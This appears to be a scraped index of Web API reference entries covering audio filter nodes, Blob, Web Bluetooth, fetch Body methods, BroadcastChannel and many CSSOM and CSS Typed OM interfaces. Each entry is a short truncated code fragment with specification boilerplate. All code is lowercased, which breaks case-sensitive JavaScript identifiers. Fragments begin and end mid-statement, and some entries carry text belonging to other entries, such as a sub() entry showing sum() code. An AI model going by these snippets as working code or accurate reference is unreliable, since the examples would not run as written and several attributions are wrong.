eamsource(stream); source.connect(analyser); analyser.connect(distortion); distortion.connect(biquadfilter); biquadfilter.connect(convolver); convolver.connect(gainnode); gainnode.connect(audioctx.destination); // manipulate the biquad filter biquadfilter.type = "lowshelf"; biquadfilter.frequency.value = 1000; biquadfilter.gain.value = 25; specifications specification status comment web audio apithe definition of 'frequency' in that specification.
BiquadFilterNode.gain - Web APIs
eamsource(stream); source.connect(analyser); analyser.connect(distortion); distortion.connect(biquadfilter); biquadfilter.connect(convolver); convolver.connect(gainnode); gainnode.connect(audioctx.destination); // manipulate the biquad filter biquadfilter.type = "lowshelf"; biquadfilter.frequency.value = 1000; biquadfilter.gain.value = 25; specifications specification status comment web audio apithe definition of 'gain' in that specification.
BiquadFilterNode.getFrequencyResponse() - Web APIs
ut); for(i = 0; i <= myfrequencyarray.length-1;i++){ var listitem = document.createelement('li'); listitem.innerhtml = '<strong>' + myfrequencyarray[i] + 'hz</strong>: magnitude ' + magresponseoutput[i] + ', phase ' + phaseresponseoutput[i] + ' radians.'; freqresponseoutput.appendchild(listitem); } } calcfrequencyresponse(); specifications specification status comment web audio apithe definition of 'getfrequencyresponse()' in that specification.
BiquadFilterNode.type - Web APIs
eamsource(stream); source.connect(analyser); analyser.connect(distortion); distortion.connect(biquadfilter); biquadfilter.connect(convolver); convolver.connect(gainnode); gainnode.connect(audioctx.destination); // manipulate the biquad filter biquadfilter.type = "lowshelf"; biquadfilter.frequency.value = 1000; biquadfilter.gain.value = 25; specifications specification status comment web audio apithe definition of 'type' in that specification.
BiquadFilterNode - Web APIs
ct(distortion); distortion.connect(biquadfilter); biquadfilter.connect(convolver); convolver.connect(gainnode); gainnode.connect(audioctx.destination); // manipulate the biquad filter biquadfilter.type = "lowshelf"; biquadfilter.frequency.setvalueattime(1000, audioctx.currenttime); biquadfilter.gain.setvalueattime(25, audioctx.currenttime); specifications specification status comment web audio apithe definition of 'biquadfilternode' in that specification.
Blob() - Web APIs
WebAPIBlobBlob
example var afileparts = ['<a id="a"><b id="b">hey!</b></a>']; // an array consisting of a single domstring var omyblob = new blob(afileparts, {type : 'text/html'}); // the blob specification specification status comment file apithe definition of 'blob()' in that specification.
Blob.arrayBuffer() - Web APIs
WebAPIBlobarrayBuffer
specifications specification status comment file apithe definition of 'blob.arraybuffer()' in that specification.
Blob.size - Web APIs
WebAPIBlobsize
// fileinput is a htmlinputelement: <input type="file" multiple id="myfileinput"> var fileinput = document.getelementbyid("myfileinput"); // files is a filelist object (simliar to nodelist) var files = fileinput.files; for (var i = 0; i < files.length; i++) { console.log(files[i].name + " has a size of " + files[i].size + " bytes"); } specifications specification status comment file apithe definition of 'blob.size' in that specification.
Blob.slice() - Web APIs
WebAPIBlobslice
specifications specification status comment file apithe definition of 'blob.slice()' in that specification.
Blob.stream() - Web APIs
WebAPIBlobstream
specifications specification status comment file apithe definition of 'blob.stream()' in that specification.
Blob.text() - Web APIs
WebAPIBlobtext
specifications specification status comment file apithe definition of 'blob.text()' in that specification.
Blob.type - Web APIs
WebAPIBlobtype
} }); specifications specification status comment file apithe definition of 'blob.type' in that specification.
BlobEvent.BlobEvent() - Web APIs
specifications specification status comment mediastream recordingthe definition of 'blobevent: blobevent' in that specification.
BlobEvent.data - Web APIs
WebAPIBlobEventdata
syntax associatedblob = blobevent.data specifications specification status comment mediastream recordingthe definition of 'blobevent.data' in that specification.
BlobEvent.timecode - Web APIs
specifications specification status comment mediastream recordingthe definition of 'timecode' in that specification.
BlobEvent - Web APIs
WebAPIBlobEvent
specifications specification status comment mediastream recordingthe definition of 'blobevent' in that specification.
Bluetooth.getAvailability() - Web APIs
bluetooth is not supported"); }); specifications specification status comment web bluetooththe definition of 'getavailability()' in that specification.
Bluetooth.getDevices() - Web APIs
specifications specification status comment web bluetooththe definition of 'getdevices()' in that specification.
Bluetooth.onavailabilitychanged - Web APIs
specifications specification status comment web bluetooththe definition of 'bluetooth' in that specification.
Bluetooth.referringDevice - Web APIs
specifications specification status comment web bluetooththe definition of 'referringdevice' in that specification.
Bluetooth.requestDevice() - Web APIs
specifications specification status comment web bluetooththe definition of 'requestdevice()' in that specification.
Bluetooth - Web APIs
WebAPIBluetooth
specifications specification status comment web bluetooththe definition of 'bluetooth' in that specification.
BluetoothCharacteristicProperties.authenticatedSignedWrites - Web APIs
specifications specification status comment web bluetooththe definition of 'authenticatedsignedwrites' in that specification.
BluetoothCharacteristicProperties.broadcast - Web APIs
specifications specification status comment web bluetooththe definition of 'broadcast' in that specification.
BluetoothCharacteristicProperties.indicate - Web APIs
specifications specification status comment web bluetooththe definition of 'indicate' in that specification.
BluetoothCharacteristicProperties.notify - Web APIs
specifications specification status comment web bluetooththe definition of 'notify' in that specification.
BluetoothCharacteristicProperties.read - Web APIs
specifications specification status comment web bluetooththe definition of 'read' in that specification.
BluetoothCharacteristicProperties.reliableWrite - Web APIs
syntax var aboolean = bluetoothcharacteristicproperties.reliablewrite; value a boolean specifications specification status comment web bluetooththe definition of 'reliablewrite' in that specification.
BluetoothCharacteristicProperties.writableAuxiliaries - Web APIs
specifications specification status comment web bluetooththe definition of 'writableauxiliaries' in that specification.
BluetoothCharacteristicProperties.write - Web APIs
specifications specification status comment web bluetooththe definition of 'write' in that specification.
BluetoothCharacteristicProperties.writeWithoutResponse - Web APIs
specifications specification status comment web bluetooththe definition of 'authenticatedsignedwrites' in that specification.
BluetoothCharacteristicProperties - Web APIs
_rate'); let characteristic = await service.getcharacteristic('heart_rate_measurement'); if (characteristic.properties.notify) { characteristics.addeventlistener('characteristicvaluechanged', function(event) { console.log(`received heart rate measurement: ${event.target.value}`); } await characteristic.startnotifications(); } specifications specification status comment web bluetooththe definition of 'bluetoothcharacteristicproperties' in that specification.
BluetoothDevice.gatt - Web APIs
specifications specification status comment web bluetooththe definition of 'gattserver' in that specification.
id - Web APIs
specifications specification status comment web bluetooththe definition of 'id' in that specification.
BluetoothDevice.name - Web APIs
specifications specification status comment web bluetooththe definition of 'name' in that specification.
BluetoothDevice - Web APIs
specifications specification status comment web bluetooththe definition of 'bluetoothdevice' in that specification.
BluetoothRemoteGATTCharacteristic.getDescriptor() - Web APIs
specifications specification status comment web bluetooththe definition of 'getdescriptor()' in that specification.
BluetoothRemoteGATTCharacteristic.getDescriptors() - Web APIs
specifications specification status comment web bluetooththe definition of 'getdescriptors()' in that specification.
BluetoothRemoteGATTCharacteristic.properties - Web APIs
specifications specification status comment web bluetooththe definition of 'properties' in that specification.
BluetoothRemoteGATTCharacteristic.readValue() - Web APIs
specifications specification status comment web bluetooththe definition of 'readvalue()' in that specification.
BluetoothRemoteGATTCharacteristic.service - Web APIs
specifications specification status comment web bluetooththe definition of 'service' in that specification.
BluetoothRemoteGATTCharacteristic.startNotifications() - Web APIs
specifications specification status comment web bluetooththe definition of 'startnotifications()' in that specification.
BluetoothRemoteGATTCharacteristic.stopNotifications() - Web APIs
specifications specification status comment web bluetooththe definition of 'stopnotifications()' in that specification.
BluetoothRemoteGATTCharacteristic.uuid - Web APIs
specifications specification status comment web bluetooththe definition of 'uuid' in that specification.
BluetoothRemoteGATTCharacteristic.value - Web APIs
specifications specification status comment web bluetooththe definition of 'value' in that specification.
BluetoothRemoteGATTCharacteristic.writeValue() - Web APIs
specifications specification status comment web bluetooththe definition of 'writevalue()' in that specification.
BluetoothRemoteGATTCharacteristic - Web APIs
specifications specification status comment web bluetooththe definition of 'bluetoothremotegattcharacteristic' in that specification.
characteristic - Web APIs
specifications specification status comment web bluetooththe definition of 'characteristic' in that specification.
readValue() - Web APIs
specifications specification status comment web bluetooththe definition of 'readvalue()' in that specification.
uuid - Web APIs
specifications specification status comment web bluetooththe definition of 'uuid' in that specification.
value - Web APIs
specifications specification status comment web bluetooththe definition of 'value' in that specification.
writeValue() - Web APIs
specifications specification status comment web bluetooththe definition of 'writevalue()' in that specification.
BluetoothRemoteGATTDescriptor - Web APIs
specifications specification status comment web bluetooththe definition of 'bluetoothremotegattdescriptor' in that specification.
BluetoothRemoteGATTServer.connect() - Web APIs
specifications specification status comment web bluetooththe definition of 'connect()' in that specification.
BluetoothRemoteGATTServer.connected - Web APIs
syntax var connected = bluetoothremotegattserver.connected specifications specification status comment web bluetooththe definition of 'connected' in that specification.
BluetoothRemoteGATTServer.device - Web APIs
syntax var device = bluetoothremotegattserver.device specifications specification status comment web bluetooththe definition of 'device' in that specification.
BluetoothRemoteGATTServer.disconnect() - Web APIs
specifications specification status comment web bluetooththe definition of 'disconnect()' in that specification.
BluetoothRemoteGATTServer.getPrimaryService() - Web APIs
specifications specification status comment web bluetooththe definition of 'getprimaryservice()' in that specification.
BluetoothRemoteGATTServer.getPrimaryServices() - Web APIs
specifications specification status comment web bluetooththe definition of 'getprimaryservices()' in that specification.
BluetoothRemoteGATTServer - Web APIs
specifications specification status comment web bluetooththe definition of 'bluetoothremotegattserver' in that specification.
device - Web APIs
specifications specification status comment web bluetooththe definition of 'device' in that specification.
getCharacteristic() - Web APIs
specifications specification status comment web bluetooththe definition of 'getcharacteristic()' in that specification.
getCharacteristics() - Web APIs
specifications specification status comment web bluetooththe definition of 'getcharacteristics()' in that specification.
getIncludedService() - Web APIs
specifications specification status comment web bluetooththe definition of 'getincludedservice()' in that specification.
getIncludedServices() - Web APIs
specifications specification status comment web bluetooththe definition of 'getincludedservices()' in that specification.
isPrimary - Web APIs
specifications specification status comment web bluetooththe definition of 'isprimary' in that specification.
uuid - Web APIs
specifications specification status comment web bluetooththe definition of 'uuid' in that specification.
BluetoothRemoteGATTService - Web APIs
specifications specification status comment web bluetooththe definition of 'bluetoothremotegattservice' in that specification.
Body.arrayBuffer() - Web APIs
WebAPIBodyarrayBuffer
function readfile(file) { return new response(file).arraybuffer(); } <input type="file" onchange="readfile(this.files[0])"> specifications specification status comment fetchthe definition of 'arraybuffer()' in that specification.
Body.blob() - Web APIs
WebAPIBodyblob
var myimage = document.queryselector('img'); var myrequest = new request('flowers.jpg'); fetch(myrequest) .then(response => response.blob()) .then(function(myblob) { var objecturl = url.createobjecturl(myblob); myimage.src = objecturl; }); specifications specification status comment fetchthe definition of 'blob()' in that specification.
Body.body - Web APIs
WebAPIBodybody
// enqueue the next data chunk into our target stream controller.enqueue(value); return pump(); }); } } }) }) .then(stream => new response(stream)) .then(response => response.blob()) .then(blob => url.createobjecturl(blob)) .then(url => console.log(image.src = url)) .catch(err => console.error(err)); specifications specification status comment fetchthe definition of 'body' in that specification.
Body.bodyUsed - Web APIs
WebAPIBodybodyUsed
html content <img class="my-image" src="https://udn.realityripple.com/samples/46/29059a2b39.png"> js content var myimage = document.queryselector('.my-image'); fetch('https://upload.wikimedia.org/wikipedia/commons/7/77/delete_key1.jpg').then(function(response) { console.log(response.bodyused); var res = response.blob(); console.log(response.bodyused); return res; }).then(function(response) { var objecturl = url.createobjecturl(response); myimage.src = objecturl; }); specifications specification status comment fetchthe definition of 'bodyused' in that s...
Body.formData() - Web APIs
WebAPIBodyformData
specifications specification status comment fetchthe definition of 'formdata()' in that specification.
Body.json() - Web APIs
WebAPIBodyjson
cost: ` ); listitem.appendchild( document.createelement('strong') ).textcontent = `£${product.price}`; mylist.appendchild(listitem); } }) .catch(console.error); specifications specification status comment fetchthe definition of 'body.json()' in that specification.
Body.text() - Web APIs
WebAPIBodytext
reventdefault(); let linkdata = e.target.getattribute('data-page'); getdata(linkdata); } }; function getdata(pageid) { console.log(pageid); var myrequest = new request(pageid + '.txt'); fetch(myrequest).then(function(response) { return response.text().then(function(text) { myarticle.innerhtml = text; }); }); } specifications specification status comment fetchthe definition of 'text()' in that specification.
Body - Web APIs
WebAPIBody
html content <img class="my-image" src="https://udn.realityripple.com/samples/46/29059a2b39.png"> js content const myimage = document.queryselector('.my-image'); fetch('https://upload.wikimedia.org/wikipedia/commons/7/77/delete_key1.jpg') .then(res => res.blob()) .then(res => { const objecturl = url.createobjecturl(res); myimage.src = objecturl; }); specifications specification status comment fetchthe definition of 'body' in that specification.
BroadcastChannel() - Web APIs
var bc = new broadcastchannel('internal_notification'); bc.postmessage('new listening connected!'); specifications specification status comment html living standardthe definition of 'broadcastchannel()' in that specification.
BroadcastChannel.close() - Web APIs
syntax var str = channel.close(); example // connect to a channel var bc = new broadcastchannel('test_channel'); // more operations (like postmessage, …) // when done, disconnect from the channel bc.close(); specifications specification status comment html living standardthe definition of 'broadcastchannel.close()' in that specification.
BroadcastChannel.name - Web APIs
syntax var str = channel.name; examples // connect to a channel var bc = new broadcastchannel('test_channel'); // more operations (like postmessage, …) // log the channel name to the console console.log(bc.name); // "test_channel" // when done, disconnect from the channel bc.close(); specifications specification status comment html living standardthe definition of 'broadcastchannel.name' in that specification.
BroadcastChannel.onmessage - Web APIs
'${ev.data}'`); }; specifications specification status comment html living standardthe definition of 'broadcastchannel.onmessage' in that specification.
BroadcastChannel.onmessageerror - Web APIs
}; specifications specification status comment html living standardthe definition of 'onmessageerror' in that specification.
BroadcastChannel.postMessage() - Web APIs
syntax var str = channel.postmessage(object); specifications specification status comment html living standardthe definition of 'broadcastchannel.postmessage()' in that specification.
BudgetService - Web APIs
the budgetservice interface of the web budget api provides a programmatic interface to the user agent’s budget service.
ByteLengthQueuingStrategy.ByteLengthQueuingStrategy() - Web APIs
}, cancel(err) { console.log("stream error:", err); } }, queuingstrategy); var size = queuingstrategy.size(chunk); specifications specification status comment streamsthe definition of 'bytelengthqueuingstrategy()' in that specification.
ByteLengthQueuingStrategy.size() - Web APIs
}, cancel(err) { console.log("stream error:", err); } }, queuingstrategy); var size = queueingstrategy.size(chunk); specifications specification status comment streamsthe definition of 'size' in that specification.
ByteLengthQueuingStrategy - Web APIs
}, cancel(err) { console.log("stream error:", err); } }, queueingstrategy); var size = queueingstrategy.size(chunk); specifications specification status comment streamsthe definition of 'bytelengthqueuingstrategy' in that specification.
CDATASection - Web APIs
specifications specification status comment domthe definition of 'cdatasection' in that specification.
CSS.escape() - Web APIs
WebAPICSSescape
use as part of a selector, the escape() method can be used: var element = document.queryselector('#' + css.escape(id) + ' > img'); the escape() method can also be used for escaping strings, although it escapes characters that don't strictly need to be escaped: var element = document.queryselector('a[href="#' + css.escape(fragment) + '"]'); specification specification status comment css object model (cssom)the definition of 'css.escape()' in that specification.
CSS.registerProperty() - Web APIs
#fff, var(--unregistered)); transition: --unregistered 1s ease-in-out; } .unregistered:hover, .unregistered:focus { --unregistered: #b4d455; } button { font-size: 3vw; } we can add these styles to some buttons: <button class="registered">background registered</button> <button class="unregistered">background not registered</button> specifications specification status comment css properties and values api level 1the definition of 'the registerproperty() function' in that specification.
CSSImageValue - Web APIs
get the element const button = document.queryselector( 'button' ); // retrieve all computed styles with computedstylemap() const allcomputedstyles = button.computedstylemap(); // return the cssimagevalue example console.log( allcomputedstyles.get('background-image') ); console.log( allcomputedstyles.get('background-image').tostring() ); specifications specification status comment css typed om level 1the definition of 'cssimagevalue' in that specification.
CSSKeyframeRule - Web APIs
specification specification status comment css animationsthe definition of 'csskeyframerule' in that specification.
CSSKeyframesRule - Web APIs
specification specification status comment css animationsthe definition of 'csskeyframesrule' in that specification.
CSSKeywordValue.CSSKeywordValue() - Web APIs
eveloper tools to see the log in the console and to inspect the style attribute on this div.</div> let keyword = new csskeywordvalue('initial'); let myelement = document.getelementbyid('myelement').attributestylemap; myelement.set('display', keyword); console.log( myelement.get('display').value); // 'initial' console.dir( keyword ); specifications specification status comment css typed om level 1the definition of 'csskeywordvalue' in that specification.
CSSKeywordValue.value - Web APIs
let indicator = document.getelementbyid('indicator'); indicator.attributestylemap.set('display', new csskeywordvalue('initial')); indicator.attributestylemap.get('display').value // 'initial' specifications specification status comment css typed om level 1the definition of 'undefined' in that specification.
CSSKeywordValue - Web APIs
isplay: flex; } <div id="myelement">check the developer tools to see the log in the console and to inspect the style attribute on this div.</div> let myelement = document.getelementbyid('myelement').attributestylemap; myelement.set('display', new csskeywordvalue('initial')); console.log( myelement.get('display').value); // 'initial' specifications specification status comment css typed om level 1the definition of 'csskeywordvalue' in that specification.
CSSMathProduct.CSSMathProduct() - Web APIs
specifications specification status comment css typed om level 1the definition of 'cssmathproduct()' in that specification.
CSSMathProduct.values - Web APIs
specifications specification status comment css typed om level 1the definition of 'values' in that specification.
CSSMathProduct - Web APIs
specifications specification status comment css typed om level 1the definition of 'cssmathproduct' in that specification.
CSSMathSum.CSSMathSum() - Web APIs
specifications specification status comment css typed om level 1the definition of 'cssmathsum()' in that specification.
CSSMathSum.values - Web APIs
WebAPICSSMathSumvalues
specifications specification status comment css typed om level 1the definition of 'values' in that specification.
CSSMathSum - Web APIs
in the future we may write the last three lines as: console.log( stylemap.get('width').values[1] ); // cssmathnegate {value: cssunitvalue, operator: "negate"} console.log( stylemap.get('width').values[1].value ); // cssunitvalue {value: 20, unit: "px"} console.log( stylemap.get('width').values[1].value.unit ); // 'px' specifications specification status comment css typed om level 1the definition of 'cssmathsum' in that specification.
CSSMathValue.operator - Web APIs
specifications specification status comment css typed om level 1the definition of 'cssmathvalue.operator' in that specification.
CSSMathValue - Web APIs
specifications specification status comment css typed om level 1the definition of 'cssmathvalue' in that specification.
CSSNamespaceRule.namespaceURI - Web APIs
specifications specification status comment css object model (cssom)the definition of 'namespaceuri' in that specification.
CSSNamespaceRule.prefix - Web APIs
specifications specification status comment css object model (cssom)the definition of 'namespaceuri' in that specification.
CSSNamespaceRule - Web APIs
it has no specific methods: specification specification status comment css object model (cssom)the definition of 'cssnamespacerule' in that specification.
CSSNumericValue.add() - Web APIs
examples let mathsum = css.px("23").add(css.percent("4")).add(css.cm("3")).add(css.in("9")); // prints "calc(23px + 4% + 3cm + 9in)" console.log(mathsum.tostring()); specifications specification status comment css typed om level 1the definition of 'add' in that specification.
CSSNumericValue.div() - Web APIs
examples let mathproduct = css.px("24").div(css.percent("4")); // prints "calc(24px / 4%)" mathproduct.tostring(); specifications specification status comment css typed om level 1the definition of 'div' in that specification.
CSSNumericValue.equals() - Web APIs
px(1), css.px(2)); let matchingcssmathsum = new cssmathsum(css.px(1), css.px(2)); // prints true console.log(cssmathsum.equals(matchingcssmathsum)); let othercssmathsum = cssmathsum(css.px(2), css.px(1)); // prints false console.log(cssmathsum.equals(othercssmathsum)); // also prints false console.log(css.cm("1").equal(css.in("0.393701"))); specifications specification status comment css typed om level 1the definition of 'equals' in that specification.
CSSNumericValue.max() - Web APIs
// prints "2cm" console.log(css.cm("1").max(css.cm("2")).tostring()); // prints "max(1cm, 0.393701in)" console.log(css.cm("1").max(css.in("0.393701")).tostring()); specifications specification status comment css typed om level 1the definition of 'max' in that specification.
CSSNumericValue.min() - Web APIs
// prints "1cm" console.log(css.cm("1").min(css.cm("2")).tostring()); // prints "max(1cm, 0.393701in)" console.log(css.cm("1").max(css.in("0.393701")).tostring()); specifications specification status comment css typed om level 1the definition of 'min' in that specification.
CSSNumericValue.mul() - Web APIs
examples let mathsum = css.px("23").mul(css.percent("4")).mul(css.cm("3")).mul(css.in("9")); // prints "calc(23px * 4% * 3cm * 9in)" console.log(mathsum.tostring()); specifications specification status comment css typed om level 1the definition of 'mul' in that specification.
CSSNumericValue.parse() - Web APIs
let numvalue = cssnumericvalue.parse("42.0px"); specifications specification status comment css typed om level 1the definition of 'parse' in that specification.
CSSNumericValue.sub() - Web APIs
examples let mathsum = css.px("23").sum(css.percent("4")).sum(css.cm("3")).sum(css.in("9")); // prints "calc(23px - 4% - 3cm - 9in)" console.log(mathsum.tostring()); and/or include a list of links to useful code samples that live elsewhere: specifications specification status comment css typed om level 1the definition of 'sub' in that specification.
CSSNumericValue.sum() - Web APIs
examples let mathsum = css.px("23").sum(css.percent("4")).sum(css.cm("3")).sum(css.in("9")); // prints "calc(23px - 4% - 3cm - 9in)" console.log(mathsum.tostring()); and/or include a list of links to useful code samples that live elsewhere: specifications specification status comment css typed om level 1the definition of 'sub' in that specification.
CSSNumericValue.toSum() - Web APIs
examples let v = css.px("23").add(css.percent("4")).add(css.cm("3")).add(css.in("9")); v.tostring() // => "calc(23px + 4% + 3cm + 9in)" v.tosum("px", "percent").tostring() // => "calc(1000.39px + 4%)" specifications specification status comment css typed om level 1the definition of 'tosum' in that specification.
CSSNumericValue.type - Web APIs
examples let mathsum = css.px("23").sub(css.percent("4")).sub(css.cm("3")).sub(css.in("9")); // returns an object with the structure: {length: 1, percenthint: "length"} let cssnumerictype = mathsum.type(); specifications specification status comment css typed om level 1the definition of 'type' in that specification.
CSSNumericValue - Web APIs
specifications specification status comment css typed om level 1the definition of 'cssnumericvalue' in that specification.
CSSOMString - Web APIs
implementation differences browser domstring or usvstring for cssomstring firefox (gecko) usvstring chrome (blink) usvstring safari (webkit) usvstring edge (edgehtml) - opera (blink) usvstring specifications specification status comment css object model (cssom)the definition of 'cssomstring' in that specification.
CSSPageRule - Web APIs
specifications specification status comment css object model (cssom)the definition of 'csspagerule' in that specification.
CSSPrimitiveValue.getCounterValue() - Web APIs
specifications specification status comment document object model (dom) level 2 style specificationthe definition of 'cssprimitivevalue.getcountervalue' in that specification.
CSSPrimitiveValue.getRGBColorValue() - Web APIs
example var cs = window.getcomputedstyle(document.body); var cssvalue = cs.getpropertycssvalue("color"); console.log(cssvalue.getrgbcolorvalue()); specifications specification status comment document object model (dom) level 2 style specificationthe definition of 'cssprimitivevalue.getrgbcolorvalue' in that specification.
CSSPrimitiveValue.getRectValue() - Web APIs
example var cs = window.getcomputedstyle(document.getelementbyid("clippeddiv")); var cssvalue = cs.getpropertycssvalue("clip"); console.log(cssvalue.getrectvalue()); specifications specification status comment document object model (dom) level 2 style specificationthe definition of 'cssprimitivevalue.getrectvalue' in that specification.
CSSPrimitiveValue.getStringValue() - Web APIs
example var cs = window.getcomputedstyle(document.body); var cssvalue = cs.getpropertycssvalue("display"); console.log(cssvalue.getstringvalue()); specifications specification status comment document object model (dom) level 2 style specificationthe definition of 'cssprimitivevalue.getstringvalue' in that specification.
CSSPrimitiveValue.setStringValue() - Web APIs
specifications specification status comment document object model (dom) level 2 style specificationthe definition of 'cssprimitivevalue.setstringvalue' in that specification.
CSSPseudoElement.element - Web APIs
// outputs false console.log(myelement.lastelementchild === csspseudoelement); // outputs false console.log(myelement.lastchild === csspseudoelement); // outputs false console.log(myelement.nextelementsibling === csspseudoelement); // outputs false console.log(myelement.nextsibling === csspseudoelement); // outputs false specifications specification status comment css pseudo-elements level 4the definition of 'element' in that specification.
CSSPseudoElement.type - Web APIs
ample below demonstrates the relationship between csspseudoelement.type and element.pseudo(): const myelement = document.queryselector('q'); const myselector = '::after'; const csspseudoelement = myelement.pseudo(myselector); const typeofpseudoelement = csspseudoelement.type; console.log(myselector === typeofpseudoelement); // outputs true specifications specification status comment css pseudo-elements level 4the definition of 'type' in that specification.
CSSPseudoElement - Web APIs
const element = document.queryselector('q'); const csspseudoelement = element.pseudo('::before'); console.log(csspseudoelement.element); // outputs [object htmlquoteelement] console.log(csspseudoelement.type); // outputs '::before' specifications specification status comment css pseudo-elements level 4the definition of 'csspseudoelement' in that specification.
CSSRule.cssText - Web APIs
WebAPICSSRulecssText
syntax string = cssrule.csstext example <style> body { background-color: darkblue; } </style> <script> var stylesheet = document.stylesheets[0]; alert(stylesheet.cssrules[0].csstext); // body { background-color: darkblue; } </script> specifications specification status comment css object model (cssom)the definition of 'cssrule: csstext' in that specification.
CSSRule.parentStyleSheet - Web APIs
} specifications specification status comment css object model (cssom)the definition of 'cssrule: parentstylesheet' in that specification.
CSSRuleList - Web APIs
they are: cssstylesheet property cssrules cssmediarule property cssrules csskeyframesrule property cssrules cssmozdocumentrule property cssrules specifications specification status comment css object model (cssom)the definition of 'cssrulelist' in that specification.
CSSStyleDeclaration.cssText - Web APIs
example <span id="s1" style="color: red;"> some text </span> <script> var elem = document.getelementbyid("s1"); alert(elem.style.csstext); // "color: red;" </script> specifications specification status comment css object model (cssom)the definition of 'cssstyledeclaration: csstext' in that specification.
CSSStyleDeclaration.getPropertyCSSValue() - Web APIs
example the following javascript code gets an object containing the computed rgb values of the color css property: var style = window.getcomputedstyle(elem, null); var rgbobj = style.getpropertycssvalue('color').getrgbcolorvalue(); specifications specification status comment document object model (dom) level 2 style specificationthe definition of 'cssstyledeclaration' in that specification.
CSSStyleDeclaration.getPropertyPriority() - Web APIs
example the following javascript code checks whether margin is marked as important in a css selector rule: var declaration = document.stylesheets[0].cssrules[0].style; var isimportant = declaration.getpropertypriority('margin') === 'important'; specifications specification status comment css object model (cssom)the definition of 'cssstyledeclaration.getpropertypriority()' in that specification.
CSSStyleDeclaration.getPropertyValue() - Web APIs
example the following javascript code queries the value of the margin property in a css selector rule: var declaration = document.stylesheets[0].cssrules[0].style; var value = declaration.getpropertyvalue('margin'); // "1px 2px" specifications specification status comment css object model (cssom)the definition of 'cssstyledeclaration.getpropertyvalue()' in that specification.
CSSStyleDeclaration.item() - Web APIs
javascript has a special simpler syntax for obtaining an item from a nodelist by index: var propertyname = style[index]; example var style = document.getelementbyid('div1').style; var propertyname = style.item(1); // or simply style[1] - returns the second style listed specifications specification status comment css object model (cssom)the definition of 'cssstyledeclaration.item()' in that specification.
CSSStyleDeclaration.length - Web APIs
example the following gets the number of explicitly set styles on the following html element: <div id="div1" style="margin: 0 10px; background-color: #ca1; font-family: monospace"></div> javascript code: var mydiv = document.getelementbyid('div1'); var divstyle = mydiv.style; var len = divstyle.length; // 6 specifications specification status comment css object model (cssom)the definition of 'cssstyledeclaration.length' in that specification.
CSSStyleDeclaration.parentRule - Web APIs
example the following javascript code gets the parent css style rule from a cssstyledeclaration: var declaration = document.stylesheets[0].rules[0].style; var rule = declaration.parentrule; specifications specification status comment css object model (cssom)the definition of 'cssstyledeclaration.parentrule' in that specification.
CSSStyleDeclaration.removeProperty() - Web APIs
example the following javascript code removes the background-color css property from a selector rule: var declaration = document.stylesheets[0].rules[0].style; var oldvalue = declaration.removeproperty('background-color'); specifications specification status comment css object model (cssom)the definition of 'cssstyledeclaration.removeproperty()' in that specification.
CSSStyleDeclaration.setProperty() - Web APIs
e.style.setproperty('background-color', newbgcolor); } function setrandomcolor() { const newcolor = randomcolor(); boxpararule.style.setproperty('color', newcolor); } borderbtn.addeventlistener('click', setrandomborder); bgcolorbtn.addeventlistener('click', setrandombgcolor); colorbtn.addeventlistener('click', setrandomcolor); result specifications specification status comment css object model (cssom)the definition of 'cssstyledeclaration.setproperty()' in that specification.
CSSStyleDeclaration - Web APIs
example var styleobj = document.stylesheets[0].cssrules[0].style; console.log(styleobj.csstext); for (var i = styleobj.length; i--;) { var namestring = styleobj[i]; styleobj.removeproperty(namestring); } console.log(styleobj.csstext); specifications specification status comment css object model (cssom)the definition of 'cssstyledeclaration' in that specification.
CSSStyleRule.selectorText - Web APIs
specifications specification status comment css object model (cssom)the definition of 'cssstylerule.selectortext' in that specification.
CSSStyleRule.styleMap - Web APIs
specifications specification status comment css typed om level 1the definition of 'stylemap' in that specification.
CSSStyleRule - Web APIs
specifications specification status comment css object model (cssom)the definition of 'cssstylerule' in that specification.
CSSStyleSheet.addRule() - Web APIs
therefore, given existing code such as the following: cssstylesheet.addrule(selector, styles, 0); you can rewrite this to use the more standard insertrule() like this: cssstylesheet.insertrule(`${selector} {${styles}}`, 0); specifications specification status comment css object model (cssom)the definition of 'cssstylesheet.addrule()' in that specification.
CSSStyleSheet.cssRules - Web APIs
specifications specification status comment css object model (cssom)the definition of 'cssstylesheet.cssrules' in that specification.
CSSStyleSheet.deleteRule() - Web APIs
mystyles.deleterule(0); specifications specification status comment css object model (cssom)the definition of 'cssstylesheet.deleterule()' in that specification.
CSSStyleSheet.insertRule() - Web APIs
y 1), and if it is not a backslash // then isescaped gets xored by itself, zeroing it isescaped ^= newcharcode===92?1:isescaped; // 92 = "\\".charcodeat(0) } // else, there is no unescaped bracket return originalinsertrule.call(this, selectorandrule, "", arguments[2]); }; } })(cssstylesheet.prototype); specifications specification status comment css object model (cssom)the definition of 'cssstylesheet.insertrule' in that specification.
CSSStyleSheet.ownerRule - Web APIs
ulelist) { if (!rule.ownerrule) { /* rule is not imported */ } } this snipped obtains a reference to the stylesheet associated with the @import and processes it in some manner: let rulelist = document.stylesheets[0].cssrules; for (let rule of rulelist) { if (rule.ownerrule) { checkstylesheet(rule.ownerrule.stylesheet); } } specifications specification status comment css object model (cssom)the definition of 'cssstylesheet.ownerrule' in that specification.
CSSStyleSheet.removeRule() - Web APIs
mystyles.removerule(0); you can rewrite this to use the standard deleterule() method very easily: mystyles.deleterule(0); specifications specification status comment css object model (cssom)the definition of 'cssstylesheet.removerule()' in that specification.
CSSStyleSheet.rules - Web APIs
specifications specification status comment css object model (cssom)the definition of 'cssstylesheet.rules' in that specification.
CSSStyleSheet - Web APIs
ts applied to the document yes .ownerrule cssimportrule .stylesheet <?xml-stylesheet ?> processing instruction in the (non-html) document yes .ownernode processinginstruction .sheet http link header yes n/a n/a n/a user agent (default) style sheets no n/a n/a n/a specifications specification status comment css object model (cssom)the definition of 'cssstylesheet' in that specification.
CSSStyleValue - Web APIs
specifications specification status comment css typed om level 1the definition of 'cssstylevalue' in that specification.
CSSUnitValue.CSSUnitValue() - Web APIs
let pos = new csspositionvalue( new cssunitvalue(5, "px"), new cssunitvalue(10, "px")); specifications specification status comment css typed om level 1the definition of 'cssunitvalue' in that specification.
CSSUnitValue.unit - Web APIs
WebAPICSSUnitValueunit
let pos = new csspositionvalue( new cssunitvalue( 5, "px" ), new cssunitvalue( 10, "em" )); console.log( pos.x.unit ); // "px" console.log( pos.y.unit ); // "em" specifications specification status comment css typed om level 1the definition of 'cssunitvalue.unit' in that specification.
CSSUnitValue.value - Web APIs
